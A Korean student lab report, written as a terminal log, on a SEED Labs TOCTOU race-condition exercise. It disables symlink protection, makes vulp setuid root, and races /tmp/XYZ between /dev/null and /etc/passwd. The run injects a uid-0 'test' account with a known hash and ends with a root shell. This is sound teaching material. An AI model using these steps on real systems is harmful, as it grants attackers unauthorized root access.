



Race Condition 실습 보고서

_2022111354 한아림

```
seed@VM: ~  
[12/04/23]seed@VM:~$ sudo sysctl -w fs.protected_symlinks=0  
fs.protected_symlinks = 0  
[12/04/23]seed@VM:~$
```

먼저 해당 명령어를 통해 무장을 해제해주었다. 그 후 git clone 명령어를 통해 나의 저장소를 생성하였다.

```
[12/04/23]seed@VM:~$ git clone https://github.com/kevin-w-du/BookCode.git  
Cloning into 'BookCode'...  
remote: Enumerating objects: 757, done.  
remote: Counting objects: 100% (116/116), done.  
remote: Compressing objects: 100% (55/55), done.  
remote: Total 757 (delta 60), reused 95 (delta 56), pack-reused 641  
Receiving objects: 100% (757/757), 458.58 KiB | 1.15 MiB/s, done.  
Resolving deltas: 100% (239/239), done.  
[12/04/23]seed@VM:~$
```

ls 명령어를 통해 확인해보니, 정상적으로 'BookCode' 저장소가 생성된 것을 확인할 수 있었다.

```
seed@VM: ~  
[12/04/23]seed@VM:~$ ls  
BookCode      Downloads    my_overflow2.py  stack      Videos  
commander.py  Labsetup    peda-session-stack_dbg.txt  stack.c  
coordinator.py  monitor.py  Pictures         stack_dbg  
Desktop        Music       Public          Templates  
Documents      mycat      sharedWithUbuntu  test  
[12/04/23]seed@VM:~$
```

cd 명령어를 통한 디렉터리 이동도 정상적으로 수행됨을 확인하였다.

```
seed@VM: ~/BookCode
[12/04/23] seed@VM:~$ ls
BookCode      Downloads    my_overflow2.py      stack      Videos
commander.py  Labsetup     peda-session-stack_dbg.txt  stack.c
coordinator.py monitor.py    Pictures             stack_dbg
Desktop       Music        Public              Templates
Documents     mycat        sharedWithUbuntu     test
[12/04/23] seed@VM:~$ cd BookCode/
[12/04/23] seed@VM:~/BookCode$
```

그 후 다시 홈으로 돌아와 14week 이라는 디렉터리를 생성해주었다. 그 후 생성한 디렉터리로 이동하였다.

```
[12/04/23] seed@VM:~$ cd BookCode/
[12/04/23] seed@VM:~/BookCode$ cd ..
[12/04/23] seed@VM:~$ mkdir 14week
[12/04/23] seed@VM:~$ cd 14week
[12/04/23] seed@VM:~/14week$ █
```

디렉터리로 이동한 후 다시 BookCode 로 이동하고, 이어 Race_Condition 으로 이동하였다.

```
[12/04/23] seed@VM:~$ cd 14week
[12/04/23] seed@VM:~/14week$ cd ../BookCode/
[12/04/23] seed@VM:~/BookCode$ cd Race_Condition/
[12/04/23] seed@VM:~/.../Race_Condition$ █
```

그 후 ll명령어를 통해 상태를 확인하고, 아래 명령어들을 순차적으로 실행한다.

```
seed@VM: ~/.../Race_Condition
[12/04/23] seed@VM:~/.../Race_Condition$ ll
total 28
-rw-rw-r-- 1 seed seed 238 Dec 4 02:57 attack_process.c
-rw-rw-r-- 1 seed seed 44 Dec 4 02:57 passwd_input
-rw-rw-r-- 1 seed seed 33 Dec 4 02:57 README.md
-rw-rw-r-- 1 seed seed 1195 Dec 4 02:57 repeat.c
-rw-rw-r-- 1 seed seed 329 Dec 4 02:57 sticky_experiment.c
-rwxrwxr-x 1 seed seed 219 Dec 4 02:57 target_process.sh
-rw-rw-r-- 1 seed seed 419 Dec 4 02:57 vulp.c
```

```
seed@VM: ~/14week
[12/04/23]seed@VM:~/../Race_Condition$ cp * ~/14week/
[12/04/23]seed@VM:~/../Race_Condition$ cd ~/14week/
[12/04/23]seed@VM:~/14week$ ll
total 28
-rw-rw-r-- 1 seed seed 238 Dec 4 03:06 attack_process.c
-rw-rw-r-- 1 seed seed 44 Dec 4 03:06 passwd_input
-rw-rw-r-- 1 seed seed 33 Dec 4 03:06 README.md
-rw-rw-r-- 1 seed seed 1195 Dec 4 03:06 repeat.c
-rw-rw-r-- 1 seed seed 329 Dec 4 03:06 sticky_experiment.c
-rwxrwxr-x 1 seed seed 219 Dec 4 03:06 target_process.sh
-rw-rw-r-- 1 seed seed 419 Dec 4 03:06 vulp.c
[12/04/23]seed@VM:~/14week$
```

그 후 geidt를 통해 vulp.c 파일에 접근하였다.

```
seed@VM: ~/14week
[12/04/23]seed@VM:~/14week$ gedit vulp.c &
[1] 2892
[12/04/23]seed@VM:~/14week$
```

이후 vulp.c의 편집창을 닫지 않은 상태에서 geidt attack_process.c 명령어를 사용한다.

```
seed@VM: ~/14week
[12/04/23]seed@VM:~/14week$ gedit vulp.c &
[1] 2892
[12/04/23]seed@VM:~/14week$ gedit attack_process.c &
[2] 2906
[12/04/23]seed@VM:~/14week$
```

그 후 cat 명령어를 통해 target_process.sh 에 작업한다.

```

seed@VM: ~/14week
[12/04/23]seed@VM:~/14week$ gedit vulp.c &
[1] 2892
[12/04/23]seed@VM:~/14week$ gedit attack_process.c &
[2] 2906
[12/04/23]seed@VM:~/14week$ cat target_process.sh
#!/bin/bash

CHECK_FILE="ls -l /etc/passwd"
old=$($CHECK_FILE)
new=$($CHECK_FILE)
while [ "$old" == "$new" ]
do
    ./vulp < passwd_input
    new=$($CHECK_FILE)
done
echo "STOP... The passwd file has been changed"

[2]+  Done                  gedit attack_process.c
[12/04/23]seed@VM:~/14week$

```

이후 다시 gedit을 통해 repeat.c 파일 편집창을 연다. 아직 이전의 편집창들을 닫아서는 안 된다.

```

[2]+  Done                  gedit attack_process.c
[12/04/23]seed@VM:~/14week$ gedit repeat.c &
[2] 2927
[12/04/23]seed@VM:~/14week$

```

이후 ll 명령어를 통해 현 상태를 확인한 결과, 아래와 같았다.

```
[12/04/23] seed@VM: ~/14week$ ll
total 28
-rw-rw-r-- 1 seed seed 238 Dec 4 03:06 attack_process.c
-rw-rw-r-- 1 seed seed 44 Dec 4 03:06 passwd_input
-rw-rw-r-- 1 seed seed 33 Dec 4 03:06 README.md
-rw-rw-r-- 1 seed seed 1195 Dec 4 03:06 repeat.c
-rw-rw-r-- 1 seed seed 329 Dec 4 03:06 sticky_experiment.c
-rwxrwxr-x 1 seed seed 219 Dec 4 03:06 target_process.sh
-rw-rw-r-- 1 seed seed 419 Dec 4 03:06 vulp.c
[2]+  Done                  gedit repeat.c
[12/04/23] seed@VM: ~/14week$
```

다음으로는 cat 명령어를 사용하여 passwd_input 내용을 확인한다. 그 결과는 아래와 같았다.

```
seed@VM: ~/14week
[12/04/23] seed@VM: ~/14week$ cat passwd_input
test:U6aMy0wojraho:0:0:test:/root:/bin/bash
[12/04/23] seed@VM: ~/14week$
```

그 후 sudo의 권한으로 아래 명령어를 입력하여 수행한다.

```
[12/04/23] seed@VM: ~/14week$ sudo cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mail List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin)/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106:/:nonexistent:/usr/sbin/nologin
syslog:x:104:110:/:home/syslog:/usr/sbin/nologin
_apt:x:105:65534:/:nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuid:x:107:114:/:run/uuid:/usr/sbin/nologin
tcpdump:x:108:115:/:nonexistent:/usr/sbin/nologin
avahi-autoipd:x:109:116:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
usblmux:x:110:46:usblmux daemon,,,:/var/lib/usblmux:/usr/sbin/nologin
rtkit:x:111:117:RealtimeKit,,,:/proc:/usr/sbin/nologin
dnsmasq:x:112:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
cups-pk-helper:x:113:120:user for cups-pk-helper service,,,:/home/cups-pk-helper:/usr/sbin/nologin
speech-dispatcher:x:114:29:Speech Dispatcher,,,:/run/speech-dispatcher:/bin/false
avahi:x:115:121:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin
kernoops:x:116:65534:Kernel Oops Tracking Daemon,,,:/usr/sbin/nologin
saned:x:117:123:/:var/lib/saned:/usr/sbin/nologin
nm-openvpn:x:118:124:NetworkManager OpenVPN,,,:/var/lib/openvpn/chroot:/usr/sbin/nologin
hplip:x:119:7:HPLIP system user,,,:/run/hplip:/bin/false
```

```
geoclue:x:122:127:/:var/lib/geoclue:/usr/sbin/nologin
pulse:x:123:128:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
gnome-initial-setup:x:124:65534:/:run/gnome-initial-setup:/bin/false
gdm:x:125:130:Gnome Display Manager:/var/lib/gdm3:/bin/false
seed:x:1000:1000:SEED,,,:/home/seed:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:usr/sbin/nologin
telnetd:x:126:134:/:nonexistent:/usr/sbin/nologin
ftp:x:127:135:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin
sshd:x:128:65534:/:run/ssh:/usr/sbin/nologin
[12/04/23] seed@VM: ~/14week$
```

이후 다시 한번 cat 명령어를 통해 passwd_input을 불러내면, 아래와 같이 출력되는 것을 확인할 수 있다.

```
[12/04/23] seed@VM: ~/14week$ cat passwd_input
test:U6aMy0wojraho:0:0:test:/root:/bin/bash
```

또 다시 ll 명령어를 통해 현 상태를 확인해본 결과, 아래와 같았다.

```
seed@VM: ~/14week
[12/04/23] seed@VM: ~/14week$ ll
total 28
-rw-rw-r-- 1 seed seed 238 Dec 4 03:06 attack_process.c
-rw-rw-r-- 1 seed seed 44 Dec 4 03:06 passwd_input
-rw-rw-r-- 1 seed seed 33 Dec 4 03:06 README.md
-rw-rw-r-- 1 seed seed 1195 Dec 4 03:06 repeat.c
-rw-rw-r-- 1 seed seed 329 Dec 4 03:06 sticky_experiment.c
-rwxrwxr-x 1 seed seed 219 Dec 4 03:06 target_process.sh
-rw-rw-r-- 1 seed seed 419 Dec 4 03:06 vulp.c
[12/04/23] seed@VM: ~/14week$
```

이후 gcc 명령어를 통해 vulp.c 파일을 컴파일하고, ll 명령어로 상태를 다시 확인해주었다.

```
seed@VM: ~/14week
[12/04/23] seed@VM: ~/14week$ gcc -o vulp vulp.c
[12/04/23] seed@VM: ~/14week$ ll
total 48
-rw-rw-r-- 1 seed seed 238 Dec 4 03:06 attack_process.c
-rw-rw-r-- 1 seed seed 44 Dec 4 03:06 passwd_input
-rw-rw-r-- 1 seed seed 33 Dec 4 03:06 README.md
-rw-rw-r-- 1 seed seed 1195 Dec 4 03:06 repeat.c
-rw-rw-r-- 1 seed seed 329 Dec 4 03:06 sticky_experiment.c
-rwxrwxr-x 1 seed seed 219 Dec 4 03:06 target_process.sh
-rwxrwxr-x 1 seed seed 17016 Dec 4 03:18 vulp
-rw-rw-r-- 1 seed seed 419 Dec 4 03:06 vulp.c
[12/04/23] seed@VM: ~/14week$
```

그 후 파일에 대한 권한들을 수정해주었다. 그 후 다시 ll 명령어로 상태를 확인해주었다.


```
seed@VM: ~/14week
[12/04/23] seed@VM:~/14week$ sudo chown root/root vulp
chown: invalid user: 'root/root'
[12/04/23] seed@VM:~/14week$ sudo chown root vulp
[12/04/23] seed@VM:~/14week$ sudo chmod 4755 vulp
[12/04/23] seed@VM:~/14week$ ll
total 48
-rw-rw-r-- 1 seed seed 238 Dec 4 03:06 attack_process.c
-rw-rw-r-- 1 seed seed 44 Dec 4 03:06 passwd_input
-rw-rw-r-- 1 seed seed 33 Dec 4 03:06 README.md
-rw-rw-r-- 1 seed seed 1195 Dec 4 03:06 repeat.c
-rw-rw-r-- 1 seed seed 329 Dec 4 03:06 sticky_experiment.c
-rwxrwxr-x 1 seed seed 219 Dec 4 03:06 target_process.sh
-rwsr-xr-x 1 root seed 17016 Dec 4 03:18 vulp
-rw-rw-r-- 1 seed seed 419 Dec 4 03:06 vulp.c
[12/04/23] seed@VM:~/14week$
```

이후 다시 gcc 컴파일러를 통해 attack_process.c 파일을 컴파일한다. 이후 테스트삼아 생성한 실행 파일을 실행해보고, 나와본다. 이어 다음 명령어들을 수행하였다.

```
seed@VM: ~/14week
[12/04/23] seed@VM:~/14week$ gcc -o attack_process attack_process.c
[12/04/23] seed@VM:~/14week$ ./attack_process
^C
[12/04/23] seed@VM:~/14week$
```

```
~
[12/04/23] seed@VM:~/14week$ ll /tmp/XYZ
lrwxrwxrwx 1 seed seed 11 Dec 4 03:21 /tmp/XYZ -> /etc/passwd
[12/04/23] seed@VM:~/14week$ ./attack_process
^C
```

이후 target_process.sh 를 실행하였더니, 아래와 같은 결과가 나왔다. 그 후 다시 ll 명령어를 통해 상태를 확인하였다.

```
[12/04/23]seed@VM:~/14week$ ./target_process.sh
No permission
No permission
No permission
No permission
No permission
No permission
No permission
No permission
No permission
No permission
No permission
No permission
No permission
```

```
seed@VM: ~/14week
[12/04/23]seed@VM:~/14week$ ll
total 68
-rwxrwxr-x 1 seed seed 16800 Dec  4 03:20 attack_process
-rw-rw-r-- 1 seed seed   238 Dec  4 03:06 attack_process.c
-rw-rw-r-- 1 seed seed    44 Dec  4 03:06 passwd_input
-rw-rw-r-- 1 seed seed    33 Dec  4 03:06 README.md
-rw-rw-r-- 1 seed seed  1195 Dec  4 03:06 repeat.c
-rw-rw-r-- 1 seed seed   329 Dec  4 03:06 sticky_experiment.c
-rwxrwxr-x 1 seed seed   219 Dec  4 03:06 target_process.sh
-rwsr-xr-x 1 root seed 17016 Dec  4 03:18 vulp
-rw-rw-r-- 1 seed seed   419 Dec  4 03:06 vulp.c
[12/04/23]seed@VM:~/14week$
```

그 후 다시 target_process.sh 를 geidt 으로 열어보았다. 이후 새 터미널을 하나 더 실행하였다.


```

1 #!/bin/bash
2
3 CHECK_F
4 old=$(($
5 new=$(($
6 while [
7
8 [12/04/23] seed@VM: ~/14week$
9

```

이후 새로운 창에서도 14week 디렉터리로 이동 후 ll 명령어를 실행해보았다.

```

12/04/23] seed@VM: ~/14week$ ll
total 68
-rwxrwxr-x 1 seed seed 16800 Dec 4 03:20 attack_process
-rw-rw-r-- 1 seed seed 238 Dec 4 03:06 attack_process.c
-rw-rw-r-- 1 seed seed 44 Dec 4 03:06 passwd_input
-rw-rw-r-- 1 seed seed 33 Dec 4 03:06 README.md
-rw-rw-r-- 1 seed seed 1195 Dec 4 03:06 repeat.c
-rw-rw-r-- 1 seed seed 329 Dec 4 03:06 sticky_experiment.c
-rwxrwxr-x 1 seed seed 219 Dec 4 03:06 target_process.sh
-rwsr-xr-x 1 root seed 17016 Dec 4 03:18 vulp
-rw-rw-r-- 1 seed seed 419 Dec 4 03:06 vulp.c
12/04/23] seed@VM: ~/14week$

```

이어 새로운 창에 attack_process 를 실행하고, 그 상태에서 기존 창에 cat 명령어로 하단과 같이 입력한다. 결과는 아래와 같았다.

```

[12/04/23] seed@VM: ~/14week$ ll
total 68
-rwxrwxr-x 1 seed seed 16800 Dec 4 03:20 attack_process
-rw-rw-r-- 1 seed seed 238 Dec 4 03:06 attack_process.c
-rw-rw-r-- 1 seed seed 44 Dec 4 03:06 passwd_input
-rw-rw-r-- 1 seed seed 33 Dec 4 03:06 README.md
-rw-rw-r-- 1 seed seed 1195 Dec 4 03:06 repeat.c
-rw-rw-r-- 1 seed seed 329 Dec 4 03:06 sticky_experiment.c
-rwxrwxr-x 1 seed seed 219 Dec 4 03:06 target_process.sh
-rwsr-xr-x 1 root seed 17016 Dec 4 03:18 vulp
-rw-rw-r-- 1 seed seed 419 Dec 4 03:06 vulp.c
[12/04/23] seed@VM: ~/14week$ attack_process
geoclue:x:122:127::/var/lib/geoclue:/usr/sbin/nologin
pulse:x:123:128:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
gnome-initial-setup:x:124:65534::/run/gnome-initial-setup:/bin/false
gdm:x:125:130:Gnome Display Manager:/var/lib/gdm3:/bin/false
seed:x:1000:1000:SEED,,,:/home/seed:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
telnetd:x:126:134::/nonexistent:/usr/sbin/nologin
ftp:x:127:135:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin
sshd:x:128:65534::/run/ssh:/usr/sbin/nologin
[12/04/23] seed@VM: ~/14week$

```

그 상태에서 아래 명령어들을 순차적으로 실행해주었다. 그 결과는 아래와 같았다.

```

[12/04/23] seed@VM: ~/14week$ cat passwd_input
test:U6aMy0wojraho:0:0:test:/root:/bin/bash

```

```

[12/04/23]seed@VM: ~/14week$ ll /tmp/X
ls: cannot access '/tmp/X': No such file or directory
[12/04/23]seed@VM: ~/14week$

```

```

[12/04/23]seed@VM: ~/14week$ ll /tmp/XYZ
lrwxrwxrwx 1 seed seed 11 Dec  4 03:32 /tmp/XYZ -> /etc/passwd
[12/04/23]seed@VM: ~/14week$

```

```

[12/04/23]seed@VM: ~/14week$ ll /tmp/XYZ
lrwxrwxrwx 1 seed seed 11 Dec  4 03:32 /tmp/XYZ -> /etc/passwd
[12/04/23]seed@VM: ~/14week$ ll /tmp/XYZ
lrwxrwxrwx 1 seed seed 11 Dec  4 03:32 /tmp/XYZ -> /etc/passwd
[12/04/23]seed@VM: ~/14week$ ll /tmp/XYZ
lrwxrwxrwx 1 seed seed 11 Dec  4 03:32 /tmp/XYZ -> /etc/passwd
[12/04/23]seed@VM: ~/14week$ ll /tmp/XYZ
lrwxrwxrwx 1 seed seed 9 Dec  4 03:32 /tmp/XYZ -> /dev/null
[12/04/23]seed@VM: ~/14week$ ll /tmp/XYZ
lrwxrwxrwx 1 seed seed 9 Dec  4 03:32 /tmp/XYZ -> /dev/null
[12/04/23]seed@VM: ~/14week$ ll /tmp/XYZ
lrwxrwxrwx 1 seed seed 9 Dec  4 03:32 /tmp/XYZ -> /dev/null
[12/04/23]seed@VM: ~/14week$ ll /tmp/XYZ
lrwxrwxrwx 1 seed seed 11 Dec  4 03:32 /tmp/XYZ -> /etc/passwd
[12/04/23]seed@VM: ~/14week$ ll /tmp/XYZ
lrwxrwxrwx 1 seed seed 11 Dec  4 03:32 /tmp/XYZ -> /etc/passwd
[12/04/23]seed@VM: ~/14week$

```

```

[12/04/23]seed@VM: ~/14week$ ll
total 68
-rwxrwxr-x 1 seed seed 16800 Dec  4 03:20 attack_process
-rw-rw-r-- 1 seed seed  238 Dec  4 03:06 attack_process.c
-rw-rw-r-- 1 seed seed   44 Dec  4 03:06 passwd_input
-rw-rw-r-- 1 seed seed   33 Dec  4 03:06 README.md
-rw-rw-r-- 1 seed seed 1195 Dec  4 03:06 repeat.c
-rw-rw-r-- 1 seed seed  329 Dec  4 03:06 sticky_experiment.c
-rwxrwxr-x 1 seed seed  219 Dec  4 03:06 target_process.sh
-rwsr-xr-x 1 root seed 17016 Dec  4 03:18 vulp
-rw-rw-r-- 1 seed seed  419 Dec  4 03:06 vulp.c
[12/04/23]seed@VM: ~/14week$

```

그 후 기존 파일에서 다시 target_process.sh 를 입력하였다. 실행 결과는 아래와 같았다.

```
No permission
No permission
No permission
No permission
No permission
No permission
No permission
No permission
No permission
No permission
No permission
No permission
No permission
STOP... The passwd file has been changed
```

그 후 이전 명령어를 다시 실행해보았는데, 그 결과는 아래와 같았다.

```
seed@VM: ~/14week
[12/04/23]seed@VM:~/14week$ ll /tmp/XYZ
-rw-rw-r-- 1 root seed 134156 Dec  4 03:34 /tmp/XYZ
[12/04/23]seed@VM:~/14week$
```

이후 cat 명령어를 통해 아래 사항을 확인하였다.

```
seed:x:1000:1000:SEED,,,:/home/seed:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
telnetd:x:126:134:./nonexistent:/usr/sbin/nologin
ftp:x:127:135:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin
sshd:x:128:65534:./run/sshd:/usr/sbin/nologin
[12/04/23]seed@VM:~/14week$
```

```
seed@VM: ~/14week
[12/04/23]seed@VM:~/14week$ su test
```

```
Password:
root@VM:/home/seed/14week# exit
exit
```

이후 su test 를 실행해본 결과, 위와 같았다. 그 후 다시 cat 명령어를 실행하였다.

```
gdm:x:125:130:Gnome Display Manager:/var/lib/gdm3:/bin/false
seed:x:1000:1000:SEED,,,:/home/seed:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
telnetd:x:126:134:./nonexistent:/usr/sbin/nologin
ftp:x:127:135:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin
sshd:x:128:65534:./run/sshd:/usr/sbin/nologin
[12/04/23]seed@VM:~/14week$
```

```
seed@VM: ~/14week  
[12/04/23] seed@VM:~/14week$ su test
```

그 후 다시 su test 를 실행하고 아래와 같이 입력하니, 아래와 같이 결과가 성공적으로 출력되었다.

```
Password:  
root@VM:/home/seed/14week# id  
uid=0(root) gid=0(root) groups=0(root)  
root@VM:/home/seed/14week# █
```